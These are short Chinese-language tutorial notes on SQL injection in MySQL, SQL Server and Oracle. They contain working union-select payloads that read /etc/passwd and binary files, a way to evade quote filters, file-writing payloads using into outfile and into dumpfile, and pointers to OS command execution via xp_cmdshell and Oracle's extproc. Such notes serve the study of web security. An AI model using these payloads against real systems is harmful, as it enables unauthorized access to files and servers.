一.访问文件系统
1.读文件
MySQL允许使用load data infile和load_file命令将文本文件读到数据库中。
首先创建一个文本文件users.txt
创建数据表:create table authors (fname char(20), sname char(20), email char(100), flag int);
导入数据库:load data infile ‘/tmp/users.txt’ into table authors fields terminated by ‘ ‘;
load_file函数可以避免创建数据表,直接传递数据:select load_file(‘/tmp/users.txt’);
读取文本文件:
‘ union select load_file(‘/etc/passwd’)# 报错
‘ union select null,load_file(‘/etc/passwd’)# 通过数据库读取/etc/passwd
注意:load_file命令要求使用单引号字符,有时应用会过滤单引号,可以使用十六进制编码替代字符串
读取二进制文件:
‘ union select null, HEX(load_file(‘/tem/temp.bin’))#
2.写文件
MySQL使用select A into outfile(dumpfile) B命令导入文件
写入文本文件:select ‘this is a test’ into outfile ‘/tmp/test.txt’;
写入二进制文件:aaa’ union select null,’hello world\n’ into dumpfile ‘/tmp/test.txt’ #
二.执行操作系统命令
提升权限(获取管理员权限):
1.SQL Server
openrowset命令:SQL Server 2000上,所有用户均可调用openrowset, 而在SQL Server 2005上,该操作默认被禁用
2.Oracle
在Oracle中,通过web应用的SQL注入来提升权限非常困难。大多数提升权限的方法均需要PL/SQL注入。
执行操作系统命令:
1.MySQL不支持执行shell命令
2.Oracle
extproc、Java和DBMS_SCHEDULER是oracle运行操作系统命令的正式方法
3.MSSQL
xp_cmdshell只接收一个参数